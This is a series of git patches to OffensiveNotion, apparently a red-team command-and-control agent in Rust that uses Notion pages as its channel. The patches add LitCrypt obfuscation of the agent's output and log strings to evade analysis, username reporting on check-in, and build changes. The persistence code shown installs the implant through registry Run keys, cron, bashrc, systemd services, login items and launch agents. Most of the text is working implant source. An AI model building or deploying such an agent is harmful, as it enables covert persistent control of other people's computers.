--hash=sha256:49e3ceeabbfb9d66c3aef5af3a60cc43b85c33df25ce03d0031a608b0a8b2e3f \ + --hash=sha256:d7f9850398e85aba693bb640262d3611788b1f29a79f0c93c565694658f4071f \ + --hash=sha256:6a7fae0dd14cf60ad5ff42baa2e95727c3d81ded453457771d02b7d2b3f9c0c2 \ + --hash=sha256:b7f2d075102dc8c794cbde1947378051c4e5180d52d276987b8d28a3bd58c17d \ + --hash=sha256:e9936f0b261d4df76ad22f8fee3ae83b60d7c3e871292cd42f40b81b70afae85 \ + --hash=sha256:2a7d351cbd8cfeb19ca00de495e224dea7e7d919659c2841bbb7f420ad03e2d6 \ + --hash=sha256:60bf42e36abfaf9aff1f50f52644b336d4f0a3fd6d8a60ca0d054ac9f713a864 \ + --hash=sha256:d6c7ebd4e944c85e2c3421e612a7057a2f48d478d79e61800d81468a8d842207 \ + --hash=sha256:f0567c4dc99f264f49fe27da5f735f414c4e7e7dd850cfd8e69f0862d7c74ea9 \ + --hash=sha256:89c687013cb1cd489a0f0ac24febe8c7a666e6e221b783e53ac50ebf68e45d86 \ + --hash=sha256:a30e67a65b53ea0a5e62fe23682cfe22712e01f453b95233b25502f7c61cb415 \ + --hash=sha256:611d1ad9a4288cf3e3c16014564df047fe08410e628f89805e475368bd304914 \ + --hash=sha256:5bb28c636d87e840583ee3adeb78172efc47c8b26127267f54a9c0ec251d41a9 \ + --hash=sha256:be98f628055368795d818ebf93da628541e10b75b41c559fdf36d104c5787066 \ + --hash=sha256:1d609f577dc6e1aa17d746f8bd3c31aa4d258f4070d61b2aa5c4166c1539de35 \ + --hash=sha256:7d91275b0245b1da4d4cfa07e0faedd5b0812efc15b702576d103293e252af1b \ + --hash=sha256:01a9b8ea66f1658938f65b93a85ebe8bc016e6769611be228d797c9d998dd298 \ + --hash=sha256:47ab1e7b91c098ab893b828deafa1203de86d0bc6ab587b160f78fe6c4011f75 \ + --hash=sha256:97383d78eb34da7e1fa37dd273c20ad4320929af65d156e35a5e2d89566d9dfb \ + --hash=sha256:6fcf051089389abe060c9cd7caa212c707e58153afa2c649f00346ce6d260f1b \ + --hash=sha256:5855f8438a7d1d458206a2466bf82b0f104a3724bf96a1c781ab731e4201731a \ + --hash=sha256:3dd007d54ee88b46be476e293f48c85048603f5f516008bee124ddd891398ed6 \ + --hash=sha256:aca6377c0cb8a8253e493c6b451565ac77e98c2951c45f913e0b52facdcff83f \ + --hash=sha256:04635854b943835a6ea959e948d19dcd311762c5c0c6e1f0e16ee57022669194 \ + --hash=sha256:6300b8454aa6930a24b9618fbb54b5a68135092bc666f7b06901f897fa5c2fee \ + --hash=sha256:023cb26ec21ece8dc3907c0e8320058b2e0cb3c55cf9564da612bc325bed5e64 \ + --hash=sha256:984d76483eb32f1bcb536dc27e4ad56bba4baa70be32fa87152832cdd9db0833 \ + --hash=sha256:2ef54abee730b502252bcdf31b10dacb0a416229b72c18b19e24a4509f273d26 \ + --hash=sha256:3c112550557578c26af18a1ccc9e090bfe03832ae994343cfdacd287db6a6ae7 \ + --hash=sha256:53edb4da6925ad13c07b6d26c2a852bd81e364f95301c66e930ab2aef5b5ddd8 \ + --hash=sha256:f5653a225f31e113b152e56f154ccbe59eeb1c7487b39b9d9f9cdb58e6c79dc5 \ + --hash=sha256:4efca8f86c54b22348a5467704e3fec767b2db12fc39c6d963168ab1d3fc9135 \ + --hash=sha256:ab3ef638ace319fa26553db0624c4699e31a28bb2a835c5faca8f8acf6a5a902 \ + --hash=sha256:f8ba0e8349a38d3001fae7eadded3f6606f0da5d748ee53cc1dab1d6527b9509 \ + --hash=sha256:c47adbc92fc1bb2b3274c4b3a43ae0e4573d9fbff4f54cd484555edbf030baf1 \ + --hash=sha256:37205cac2a79194e3750b0af2a5720d95f786a55ce7df90c3af697bfa100eaac \ + --hash=sha256:1f2ade76b9903f39aa442b4aadd2177decb66525062db244b35d71d0ee8599b6 \ + --hash=sha256:4296f2b1ce8c86a6aea78613c34bb1a672ea0e3de9c6ba08a960efe0b0a09047 \ + --hash=sha256:9f02365d4e99430a12647f09b6cc8bab61a6564363f313126f775eb4f6ef798e \ + --hash=sha256:5b6d930f030f8ed98e3e6c98ffa0652bdb82601e7a016ec2ab5d7ff23baa78d1 \ + --hash=sha256:10f82115e21dc0dfec9ab5c0223652f7197feb168c940f3ef61563fc2d6beb74 \ + --hash=sha256:693ce3f9e70a6cf7d2fb9e6c9d8b204b6b39897a2c4a1aa65728d5ac97dcc1d8 \ + --hash=sha256:594c67807fb16238b30c44bdf74f36c02cdf22d1c8cda91ef8a0ed8dabf5620a +requests==2.27.1; (python_version >= "2.7" and python_full_version < "3.0.0") or (python_full_version >= "3.6.0") \ + --hash=sha256:f22fa1e554c9ddfd16e6e41ac79759e17be9e492b3587efa038054674760e72d \ + --hash=sha256:68d7c56fd5a8999887728ef304a6d12edc7be74f1cfa47714fc8b414525c9a61 +urllib3==1.26.8; python_version >= "2.7" and python_full_version < "3.0.0" or python_full_version >= "3.6.0" and python_version < "4" \ + --hash=sha256:000ca7f471a233c2251c6c7023ee85305721bfdf18621ebff4fd17a8653427ed \ + --hash=sha256:0e7c33d9a63e7ddfcb86780aac87befc2fbddf46c58dbb487e0855f7ceec283c +werkzeug==2.0.2; python_version >= "3.6" \ + --hash=sha256:63d3dc1cf60e7b7e35e97fa9861f7397283b75d765afcaefd993d6046899de8f \ + --hash=sha256:aa2bb6fc8dee8d6c504c0ac1e7f5f7dc5810a9903e793b6f715a9f015bdadb9a From 32078d5c9b2cd69547a518e5cdcfe6ddabf52880 Mon Sep 17 00:00:00 2001 From: husky Date: Sat, 12 Mar 2022 19:40:40 -0500 Subject: [PATCH 58/99] dockerfile runs with macos build instruction --- Dockerfile | 2 +- main.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) mode change 100644 => 100755 Dockerfile diff --git a/Dockerfile b/Dockerfile old mode 100644 new mode 100755 index e94f3fb..2a7655c --- a/Dockerfile +++ b/Dockerfile @@ -6,7 +6,7 @@ RUN mkdir /opt/OffensiveNotion WORKDIR /opt/OffensiveNotion COPY agent/ . -RUN rustup target add x86_64-pc-windows-gnu && rustup toolchain install stable-x86_64-pc-windows-gnu +RUN rustup target add x86_64-pc-windows-gnu && rustup toolchain install stable-x86_64-pc-windows-gnu && rustup target add x86_64-apple-darwin && rustup install stable-x86_64-apple-darwin # This Dockerfile gets edited dynamically by main.py. If using main.py, don't touch it. If building the Docker container from source, edit this with your target build and OS RUN cargo build {OS} {RELEASE} diff --git a/main.py b/main.py index 8e7ee7d..5d73ca4 100755 --- a/main.py +++ b/main.py @@ -19,7 +19,7 @@ parser = argparse.ArgumentParser(description='OffensiveNotion Setup. Must be run as root. Generates the ' 'OffensiveNotion agent in a container.') -parser.add_argument('-o', '--os', choices=['linux', 'windows'], help='Target OS') +parser.add_argument('-o', '--os', choices=['linux', 'windows', 'macos'], help='Target OS') parser.add_argument('-b', '--build', choices=['debug', 'release'], help='Binary build') parser.add_argument('-c', '--c2lint', default=False, action="store_true", help="C2 linter. Checks your C2 config " "by creating a test page on your " From f29d8a9ddeb090d3c972882a7733b3eefcd30c64 Mon Sep 17 00:00:00 2001 From: husky Date: Sun, 13 Mar 2022 12:28:07 -0400 Subject: [PATCH 59/99] logo, failed macos experiment revert --- Dockerfile | 5 +++-- main.py | 26 +++++++++++++++++++++++++- 2 files changed, 28 insertions(+), 3 deletions(-) diff --git a/Dockerfile b/Dockerfile index 2a7655c..185b3ce 100755 --- a/Dockerfile +++ b/Dockerfile @@ -1,12 +1,13 @@ FROM rust:latest -RUN apt update -y && apt install mingw-w64 -y +RUN apt update -y && apt install mingw-w64 -y && apt install gcc-multilib -y RUN mkdir /opt/OffensiveNotion WORKDIR /opt/OffensiveNotion COPY agent/ . -RUN rustup target add x86_64-pc-windows-gnu && rustup toolchain install stable-x86_64-pc-windows-gnu && rustup target add x86_64-apple-darwin && rustup install stable-x86_64-apple-darwin +RUN rustup target add x86_64-pc-windows-gnu && rustup toolchain install stable-x86_64-pc-windows-gnu # This Dockerfile gets edited dynamically by main.py. If using main.py, don't touch it. If building the Docker container from source, edit this with your target build and OS + RUN cargo build {OS} {RELEASE} diff --git a/main.py b/main.py index 5d73ca4..916889d 100755 --- a/main.py +++ b/main.py @@ -19,7 +19,7 @@ parser = argparse.ArgumentParser(description='OffensiveNotion Setup. Must be run as root. Generates the ' 'OffensiveNotion agent in a container.') -parser.add_argument('-o', '--os', choices=['linux', 'windows', 'macos'], help='Target OS') +parser.add_argument('-o', '--os', choices=['linux', 'windows'], help='Target OS') parser.add_argument('-b', '--build', choices=['debug', 'release'], help='Binary build') parser.add_argument('-c', '--c2lint', default=False, action="store_true", help="C2 linter. Checks your C2 config " "by creating a test page on your " @@ -41,6 +41,29 @@ agent_dir = curr_dir + "/agent" dockerfile = curr_dir + "/Dockerfile" +def print_logo(): + logo = Fore.CYAN + """ + ____ __ __ _ _ _ _ _ + / __ \ / _|/ _| (_) | \ | | | | (_) + | | | | |_| |_ ___ _ __ ___ ___ _____| \| | ___ | |_ _ ___ _ __ + | | | | _| _/ _ \ '_ \/ __| \ \ / / _ \ . ` |/ _ \| __| |/ _ \| '_ \ + | |__| | | | || __/ | | \__ \ |\ V / __/ |\ | (_) | |_| | (_) | | | | + \____/|_| |_| \___|_| |_|___/_| \_/ \___|_| \_|\___/ \__|_|\___/|_| |_| + """ + centered = int((len(logo)/6)/2) + pad = "-" + catchphrase = ["But, Why?", "Because reasons!", "I find the very notion offensive.", "KEKW", "The absolute madlads", "NEW. TECH."] + tag = random.choice(catchphrase) + creators = "mttaggart | HuskyHacks" + + len_tag = len(tag) + padding = (pad * (centered - int((len_tag)/2))) + space = " " + spaces = (space * (centered - int((len(creators))/2))) + + print(logo) + print(padding + tag + padding) + print(spaces + creators + "\n" + Fore.RESET) # Are you root? def is_root(): @@ -293,6 +316,7 @@ def run_web_delivery(): def main(): + print_logo() is_root() check_docker() From d4723bbd966c1545a7c28ea83012fc6af15a6977 Mon Sep 17 00:00:00 2001 From: husky Date: Sun, 13 Mar 2022 13:08:07 -0400 Subject: [PATCH 60/99] agent check in now includes username as page name --- agent/src/main.rs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/agent/src/main.rs b/agent/src/main.rs index f9d3fb3..f1ffbf5 100755 --- a/agent/src/main.rs +++ b/agent/src/main.rs @@ -93,6 +93,9 @@ async fn main() -> Result<(), Box> { let mut hn = hostname(); + let username = whoami::username(); + hn.push_str(" | "); + hn.push_str(&username); let is_admin = cmd::getprivs::is_elevated(); logger.info(format!("Admin context: {}", is_admin)); if is_admin { From edd273ea39c29b4a92940b188fcffc65945ec704 Mon Sep 17 00:00:00 2001 From: husky Date: Sun, 13 Mar 2022 13:23:32 -0400 Subject: [PATCH 61/99] remove last commit from readme --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 455892b..6af7a16 100755 --- a/README.md +++ b/README.md @@ -13,7 +13,7 @@ A collaboration by: [Documentation][wiki]   |   [Pull Requests][pr]   |   [Issues][issues] -![Release][release] ![GitHub last commit][lastcommit] [![Pull Requests][img-pr-badge]][pr] [![License][img-license-badge]][license] +![Release][release] [![Pull Requests][img-pr-badge]][pr] [![License][img-license-badge]][license] From d60c8469ab6ae363b019fb8d35fa2911df55000a Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Sun, 13 Mar 2022 11:13:16 -0700 Subject: [PATCH 62/99] cargo bump --- agent/Cargo.toml | 1 - 1 file changed, 1 deletion(-) diff --git a/agent/Cargo.toml b/agent/Cargo.toml index 510567d..a5e43c5 100755 --- a/agent/Cargo.toml +++ b/agent/Cargo.toml @@ -29,7 +29,6 @@ winapi = { version = "0.3.8", features = ["winnt","winuser", "handleapi", "proce winreg = "0.10" houdini = "1.0.2" - [profile.dev] opt-level = 0 From 037110eced32e6871d29b73f2a399915e0630b68 Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Sun, 13 Mar 2022 21:40:35 -0700 Subject: [PATCH 63/99] Litcrypt all the output strings! --- agent/Cargo.lock | 11 +++++++++++ agent/Cargo.toml | 1 + agent/src/cmd/mod.rs | 3 ++- agent/src/main.rs | 4 ++++ 4 files changed, 18 insertions(+), 1 deletion(-) diff --git a/agent/Cargo.lock b/agent/Cargo.lock index 3e7d493..75cce26 100755 --- a/agent/Cargo.lock +++ b/agent/Cargo.lock @@ -451,6 +451,16 @@ version = "0.2.113" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "eef78b64d87775463c549fbd80e19249ef436ea3bf1de2a1eb7e717ec7fab1e9" +[[package]] +name = "litcrypt" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5f82f92066d9d41b3a569b459b7874e67feb835507a83b7bd142ea9f56c620c7" +dependencies = [ + "proc-macro2", + "quote", +] + [[package]] name = "lock_api" version = "0.4.5" @@ -596,6 +606,7 @@ dependencies = [ "is-root", "kernel32-sys", "libc", + "litcrypt", "rand", "reqwest", "serde", diff --git a/agent/Cargo.toml b/agent/Cargo.toml index a5e43c5..ee17ac9 100755 --- a/agent/Cargo.toml +++ b/agent/Cargo.toml @@ -19,6 +19,7 @@ rand = "0.8.0" is-root = "0.1.2" base64 = "0.13.0" cidr-utils = "0.5.5" +litcrypt = "0.3" [build-dependencies] embed-resource = "1.6" diff --git a/agent/src/cmd/mod.rs b/agent/src/cmd/mod.rs index 7f51372..ee9b32e 100755 --- a/agent/src/cmd/mod.rs +++ b/agent/src/cmd/mod.rs @@ -26,9 +26,10 @@ mod whoami; mod unknown; mod selfdestruct; + macro_rules! notion_out { ($s:literal) => { - Ok(format!($s).to_string()) + Ok(lc!(format!($s).to_string())) }; } pub(crate) use notion_out; diff --git a/agent/src/main.rs b/agent/src/main.rs index f9d3fb3..67cf947 100755 --- a/agent/src/main.rs +++ b/agent/src/main.rs @@ -4,6 +4,8 @@ extern crate tokio; extern crate serde_json; extern crate whoami; extern crate base64; +#[macro_use] +extern crate litcrypt; use std::{thread, time}; use std::env::args; @@ -31,6 +33,8 @@ mod cmd; use cmd::{NotionCommand, CommandType}; mod logger; +// Used to encrypt strings +use_litcrypt!(); #[tokio::main] async fn main() -> Result<(), Box> { From 5e31523465320c00f5ab42ffad5bec4fbdc8ff57 Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Mon, 14 Mar 2022 00:04:39 -0700 Subject: [PATCH 64/99] Litcrypt the log literals --- agent/src/cmd/cd.rs | 2 +- agent/src/cmd/download.rs | 4 ++-- agent/src/cmd/getprivs.rs | 2 +- agent/src/cmd/persist.rs | 22 +++++++++++----------- agent/src/cmd/portscan.rs | 2 +- agent/src/cmd/pwd.rs | 3 +-- agent/src/cmd/runas.rs | 8 ++++---- agent/src/cmd/save.rs | 2 +- agent/src/logger.rs | 9 ++++++++- 9 files changed, 30 insertions(+), 24 deletions(-) diff --git a/agent/src/cmd/cd.rs b/agent/src/cmd/cd.rs index 4f19d10..d3d136a 100755 --- a/agent/src/cmd/cd.rs +++ b/agent/src/cmd/cd.rs @@ -10,7 +10,7 @@ pub fn handle(cmd_args: &mut CommandArgs) -> Result> { let new_path = Path::new(&path_arg); match set_current_dir(new_path) { Ok(_) => notion_out!("Changed to {path_arg}"), - Err(e) => notion_out!("{e}") + Err(e) => Ok(format!("{e}")) } } diff --git a/agent/src/cmd/download.rs b/agent/src/cmd/download.rs index 5b9723e..c4fc8d5 100755 --- a/agent/src/cmd/download.rs +++ b/agent/src/cmd/download.rs @@ -3,7 +3,7 @@ use std::io::copy; use reqwest::Client; use std::fs::File; use crate::cmd::{CommandArgs, notion_out}; -use crate::logger::Logger; +use crate::logger::{Logger, log_out}; /// Downloads a file to the local system. /// @@ -21,7 +21,7 @@ pub async fn handle(cmd_args: &mut CommandArgs, logger: &Logger) -> Result { return notion_out!("{b} bytes written to {path}");}, + Ok(b) => { return Ok(format!("{b} bytes written to {path}"));}, Err(_) => { return notion_out!("Could not write file"); } } } else { diff --git a/agent/src/cmd/getprivs.rs b/agent/src/cmd/getprivs.rs index dd0ffa5..4040a36 100755 --- a/agent/src/cmd/getprivs.rs +++ b/agent/src/cmd/getprivs.rs @@ -54,6 +54,6 @@ pub async fn handle() -> Result> { // TODO: Implement Linux check let is_admin = is_elevated(); println!("{}", is_admin); - notion_out!("Admin Context: {is_admin}") + Ok(format!("Admin Context: {is_admin}")) } \ No newline at end of file diff --git a/agent/src/cmd/persist.rs b/agent/src/cmd/persist.rs index f95a81b..c429c92 100755 --- a/agent/src/cmd/persist.rs +++ b/agent/src/cmd/persist.rs @@ -10,7 +10,7 @@ use crate::cmd::{CommandArgs, shell, save, notion_out}; #[cfg(windows)] use std::process::Command; #[cfg(windows)] use crate::cmd::getprivs::is_elevated; use crate::config::ConfigOptions; -use crate::logger::Logger; +use crate::logger::{Logger, log_out}; /// Uses the specified method to establish persistence. @@ -50,15 +50,15 @@ pub async fn handle(cmd_args: &mut CommandArgs, config_options: &mut ConfigOptio let mut persist_path: String = v; persist_path.push_str(r"\notion.exe"); let exe_path = args().nth(0).unwrap(); - logger.debug(format!("Current exec path: {exe_path}")); + logger.debug(log_out!("Current exec path: {exe_path}")); // let mut out_file = File::create(path).expect("Failed to create file"); fs_copy(&exe_path, &persist_path)?; let hkcu = RegKey::predef(HKEY_CURRENT_USER); let path = Path::new(r"Software\Microsoft\Windows\CurrentVersion\Run"); let (key, disp) = hkcu.create_subkey(&path)?; match disp { - REG_CREATED_NEW_KEY => logger.info("A new key has been created".to_string()), - REG_OPENED_EXISTING_KEY => logger.info("An existing key has been opened".to_string()), + REG_CREATED_NEW_KEY => logger.info(log_out!("A new key has been created")), + REG_OPENED_EXISTING_KEY => logger.info(log_out!("An existing key has been opened")), }; key.set_value("Notion", &persist_path)?; notion_out!("Persistence accomplished") @@ -188,7 +188,7 @@ pub async fn handle(cmd_args: &mut CommandArgs, config_options: &mut ConfigOptio "cron" => { // Copy the app to a new folder match create_dir(&app_dir) { - Ok(_) => { logger.info("Notion directory created".to_string()); }, + Ok(_) => { logger.info(log_out!("Notion directory created")); }, Err(e) => { logger.err(e.to_string()); } }; if let Ok(_) = copy(&app_path, dest_path) { @@ -212,7 +212,7 @@ pub async fn handle(cmd_args: &mut CommandArgs, config_options: &mut ConfigOptio "bashrc" => { // Copy the app to a new folder match create_dir(&app_dir) { - Ok(_) => { logger.info("Notion directory created".to_string()); }, + Ok(_) => { logger.info(log_out!("Notion directory created")); }, Err(e) => { logger.err(e.to_string()); } }; if let Ok(_) = copy(&app_path, dest_path) { @@ -234,7 +234,7 @@ pub async fn handle(cmd_args: &mut CommandArgs, config_options: &mut ConfigOptio "service" => { if is_root() { match create_dir(&app_dir) { - Ok(_) => { logger.info("Notion directory created".to_string()); }, + Ok(_) => { logger.info(format!("Notion directory created")); }, Err(e) => { logger.err(e.to_string()); } }; if let Ok(_) = copy(&app_path, &dest_path) { @@ -282,8 +282,8 @@ WantedBy=multi-user.target" "loginitem" => { // Copy the app to a new folder match create_dir(&app_dir) { - Ok(_) => { logger.info("Notion directory created".to_string()); }, - Err(e) => { logger.err(e.to_string()); } + Ok(_) => { logger.info(log_out!("Notion directory created")); }, + Err(e) => { logger.err(log_out!(e.to_string())); } }; if let Ok(_) = copy(&app_path, &dest_path) { // Save config for relaunch @@ -307,8 +307,8 @@ WantedBy=multi-user.target" "launchagent" => { match create_dir(&app_dir) { - Ok(_) => { logger.info("Notion directory created".to_string()); }, - Err(e) => { logger.err(e.to_string()); } + Ok(_) => { logger.info(log_out!("Notion directory created").to_string()); }, + Err(e) => { logger.err(log_out!(e.to_string())); } }; if let Ok(_) = copy(&app_path, &dest_path) { let b64_config = config_options.to_base64(); diff --git a/agent/src/cmd/portscan.rs b/agent/src/cmd/portscan.rs index 39549da..e3b57d7 100755 --- a/agent/src/cmd/portscan.rs +++ b/agent/src/cmd/portscan.rs @@ -6,7 +6,7 @@ use std::{ use cidr_utils::cidr::IpCidr; use tokio::net::TcpStream; use tokio::sync::mpsc::channel; -use crate::logger::Logger; +use crate::logger::{Logger}; use crate::cmd::{CommandArgs, notion_out}; diff --git a/agent/src/cmd/pwd.rs b/agent/src/cmd/pwd.rs index 50108ab..dfa9bfc 100755 --- a/agent/src/cmd/pwd.rs +++ b/agent/src/cmd/pwd.rs @@ -1,11 +1,10 @@ use std::error::Error; use std::env::current_dir; -use crate::cmd::notion_out; /// Prints working directory. pub async fn handle() -> Result> { match current_dir() { Ok(b) => Ok(String::from(b.to_str().unwrap())), - Err(e) => notion_out!("{e}") + Err(e) => Ok(e.to_string()) } } \ No newline at end of file diff --git a/agent/src/cmd/runas.rs b/agent/src/cmd/runas.rs index 25b72f8..3f4cd57 100755 --- a/agent/src/cmd/runas.rs +++ b/agent/src/cmd/runas.rs @@ -1,15 +1,15 @@ use std::error::Error; -use crate::cmd::CommandArgs; +use crate::cmd::{CommandArgs, notion_out}; /// Runs given command as another user. Requires admin privs. /// /// Usage: `runas [user] [command]` -pub async fn handle(cmd_args: &CommandArgs) -> Result> { +pub async fn handle(_cmd_args: &CommandArgs) -> Result> { // TODO: Implement #[cfg(windows)] { - return Ok(String::from("Under Construction!")) + return notion_out!("Under Construction!"); } #[cfg(not(windows))] { - return Ok(String::from("Runas only works on Windows!")) + return notion_out!("Runas only works on Windows!"); } } \ No newline at end of file diff --git a/agent/src/cmd/save.rs b/agent/src/cmd/save.rs index 1703f86..4556dd8 100755 --- a/agent/src/cmd/save.rs +++ b/agent/src/cmd/save.rs @@ -13,6 +13,6 @@ pub async fn handle(cmd_args: &mut CommandArgs, config_options: &mut ConfigOptio // let write_path = RelativePath::new(config_options.config_file_path.as_str()); match write(&config_options.config_file_path, json_to_string(config_options)?) { Ok(_) => notion_out!("Config file saved to {save_path}"), - Err(e) => notion_out!("{e}") + Err(e) => Ok(format!("{e}")) } } \ No newline at end of file diff --git a/agent/src/logger.rs b/agent/src/logger.rs index f3f87c4..aa52fbc 100644 --- a/agent/src/logger.rs +++ b/agent/src/logger.rs @@ -69,4 +69,11 @@ impl Logger { } } -} \ No newline at end of file +} + +macro_rules! log_out { + ($s:literal) => { + lc!(format!($s).to_string()) + }; +} +pub(crate) use log_out; \ No newline at end of file From e9dd8c9a537f9c7bf6f14651499a4acc08aa8433 Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Mon, 14 Mar 2022 06:43:55 -0700 Subject: [PATCH 65/99] Update Actions for Litcrypt --- .github/workflows/rust.yml | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/.github/workflows/rust.yml b/.github/workflows/rust.yml index b93ef66..0b9e843 100644 --- a/.github/workflows/rust.yml +++ b/.github/workflows/rust.yml @@ -18,6 +18,8 @@ jobs: - uses: actions/checkout@v2 - name: Update Rust run: rustup update stable + - name: Set LitCrypt Key + run: export LITCRYPT_ENCRYPT_KEY="offensivenotion" - name: Build working-directory: ./agent run: cargo build --release @@ -37,6 +39,8 @@ jobs: run: rustup update stable - name: Add macOS Triple run: rustup target add x86_64-pc-windows-gnu + - name: Set LitCrypt Key + run: export LITCRYPT_ENCRYPT_KEY="offensivenotion" - name: Build working-directory: ./agent run: cargo build --release --target x86_64-apple-darwin @@ -58,6 +62,8 @@ jobs: run: sudo apt install -y mingw-w64 - name: Add Windows Triple run: rustup target add x86_64-pc-windows-gnu + - name: Set LitCrypt Key + run: export LITCRYPT_ENCRYPT_KEY="offensivenotion" - name: Build working-directory: ./agent run: cargo build --release --target x86_64-pc-windows-gnu From fcf06c1b1dae7b4599529fefec19691223a62929 Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Mon, 14 Mar 2022 06:53:01 -0700 Subject: [PATCH 66/99] Update Actions for Litcrypt using proper env settings --- .github/workflows/rust.yml | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/.github/workflows/rust.yml b/.github/workflows/rust.yml index 0b9e843..0a87783 100644 --- a/.github/workflows/rust.yml +++ b/.github/workflows/rust.yml @@ -18,11 +18,11 @@ jobs: - uses: actions/checkout@v2 - name: Update Rust run: rustup update stable - - name: Set LitCrypt Key - run: export LITCRYPT_ENCRYPT_KEY="offensivenotion" - name: Build working-directory: ./agent run: cargo build --release + env: + LITCRYPT_ENCRYPT_KEY: offensivenotion - name: Upload artifact uses: actions/upload-artifact@v2 with: @@ -44,6 +44,8 @@ jobs: - name: Build working-directory: ./agent run: cargo build --release --target x86_64-apple-darwin + env: + LITCRYPT_ENCRYPT_KEY: offensivenotion - name: Upload artifact uses: actions/upload-artifact@v2 with: @@ -62,11 +64,11 @@ jobs: run: sudo apt install -y mingw-w64 - name: Add Windows Triple run: rustup target add x86_64-pc-windows-gnu - - name: Set LitCrypt Key - run: export LITCRYPT_ENCRYPT_KEY="offensivenotion" - name: Build working-directory: ./agent run: cargo build --release --target x86_64-pc-windows-gnu + env: + LITCRYPT_ENCRYPT_KEY: offensivenotion - name: Upload artifact uses: actions/upload-artifact@v2 with: From d7920766f6adf071eff502424e7ad5907fd6d405 Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Mon, 14 Mar 2022 07:04:11 -0700 Subject: [PATCH 67/99] Fix mac persist logging --- agent/src/cmd/persist.rs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/agent/src/cmd/persist.rs b/agent/src/cmd/persist.rs index c429c92..53b5c41 100755 --- a/agent/src/cmd/persist.rs +++ b/agent/src/cmd/persist.rs @@ -283,7 +283,7 @@ WantedBy=multi-user.target" // Copy the app to a new folder match create_dir(&app_dir) { Ok(_) => { logger.info(log_out!("Notion directory created")); }, - Err(e) => { logger.err(log_out!(e.to_string())); } + Err(e) => { logger.err(e.to_string()); } }; if let Ok(_) = copy(&app_path, &dest_path) { // Save config for relaunch @@ -307,8 +307,8 @@ WantedBy=multi-user.target" "launchagent" => { match create_dir(&app_dir) { - Ok(_) => { logger.info(log_out!("Notion directory created").to_string()); }, - Err(e) => { logger.err(log_out!(e.to_string())); } + Ok(_) => { logger.info(log_out!("Notion directory created")); }, + Err(e) => { logger.err(e.to_string()); } }; if let Ok(_) = copy(&app_path, &dest_path) { let b64_config = config_options.to_base64(); From 1580e1af700dcd3b9b830861a5ede52959e86376 Mon Sep 17 00:00:00 2001 From: husky Date: Tue, 15 Mar 2022 19:40:30 -0400 Subject: [PATCH 68/99] starting the main.py refac, this commit doesn't work yet but moving progress off of surface pro --- main.py | 15 ++++++++++++++- 1 file changed, 14 insertions(+), 1 deletion(-) diff --git a/main.py b/main.py index 916889d..d22057f 100755 --- a/main.py +++ b/main.py @@ -57,7 +57,7 @@ def print_logo(): creators = "mttaggart | HuskyHacks" len_tag = len(tag) - padding = (pad * (centered - int((len_tag)/2))) + padding = (pad * (centered - int((len_tag)/2)-1)) space = " " spaces = (space * (centered - int((len(creators))/2))) @@ -130,6 +130,9 @@ def take_in_vars(): # Log Level log_level = ask_for_input( important + "Enter the logging level for the agent (0-5) [default is 2][format: #]", 2) + # Litcrypt Key + litcrypt_key = ask_for_input(important + "Enter the key to use to encrypt your agent's strings [default is 'offensivenotion']", "offensivenotion") + print(good + "Encryption key: {}".format(litcrypt_key)) # API Key api_key = getpass.getpass(important + "Enter your Notion Developer Account API key > ") print(good + "Got your API key!") @@ -145,6 +148,7 @@ def take_in_vars(): json_vars = { "SLEEP": sleep_interval, "JITTER": jitter_time, + "LITCRYPT_ENCRYPT_KEY": litcrypt_key, "API_KEY": api_key, "PARENT_PAGE_ID": parent_page_id, "LOG_LEVEL": str(log_level) @@ -194,6 +198,14 @@ def sed_source_code(): for k, v in data.items(): utils.file_utils.sed_inplace(source_file, "<<{}>>".format(k), v) +def set_env_vars(): + print(info+ "Setting env vars...") + f = open("config.json") + data = json.load(f) + for k, v in data.items(): + os.environ["{}".format(k)] = "{}".format(v) + print(os.getenv('{}'.format(k))) + def copy_dockerfile(): print(info + "Creating Dockerfile...") @@ -345,6 +357,7 @@ def main(): try: try: + set_env_vars() copy_source_file() sed_source_code() except Exception as e: From 5266fe2bc5fb4a95e13fd6b51bdb012351488f97 Mon Sep 17 00:00:00 2001 From: husky Date: Tue, 15 Mar 2022 20:36:24 -0400 Subject: [PATCH 69/99] litcrypt key works in dockerfile/env var --- Dockerfile | 9 +++++++++ main.py | 12 ++++++------ 2 files changed, 15 insertions(+), 6 deletions(-) diff --git a/Dockerfile b/Dockerfile index 185b3ce..09a7344 100755 --- a/Dockerfile +++ b/Dockerfile @@ -8,6 +8,15 @@ COPY agent/ . RUN rustup target add x86_64-pc-windows-gnu && rustup toolchain install stable-x86_64-pc-windows-gnu +# Set env vars +ENV API_KEY=$API_KEY + +# SED all variables into the source code before build +WORKDIR agent/ +#RUN $sed 's/<>/$API_KEY/' src/config.rs + # This Dockerfile gets edited dynamically by main.py. If using main.py, don't touch it. If building the Docker container from source, edit this with your target build and OS +# Litcrypt key as env var +ENV LITCRYPT_ENCRYPT_KEY=$LITCRYPT_KEY RUN cargo build {OS} {RELEASE} diff --git a/main.py b/main.py index d22057f..065f2b4 100755 --- a/main.py +++ b/main.py @@ -148,7 +148,7 @@ def take_in_vars(): json_vars = { "SLEEP": sleep_interval, "JITTER": jitter_time, - "LITCRYPT_ENCRYPT_KEY": litcrypt_key, + "LITCRYPT_KEY": litcrypt_key, "API_KEY": api_key, "PARENT_PAGE_ID": parent_page_id, "LOG_LEVEL": str(log_level) @@ -240,7 +240,7 @@ def docker_build(): def docker_run(): try: print(info + "Starting build container...") - sub.call(['docker run --name offensivenotion -dt offensivenotion 1>/dev/null'], shell=True) + sub.call(['docker run -e API_KEY -e LITCRYPT_KEY --name offensivenotion -dt offensivenotion 1>/dev/null'], shell=True) except Exception as e: print(printError + str(e)) exit(1) @@ -358,8 +358,8 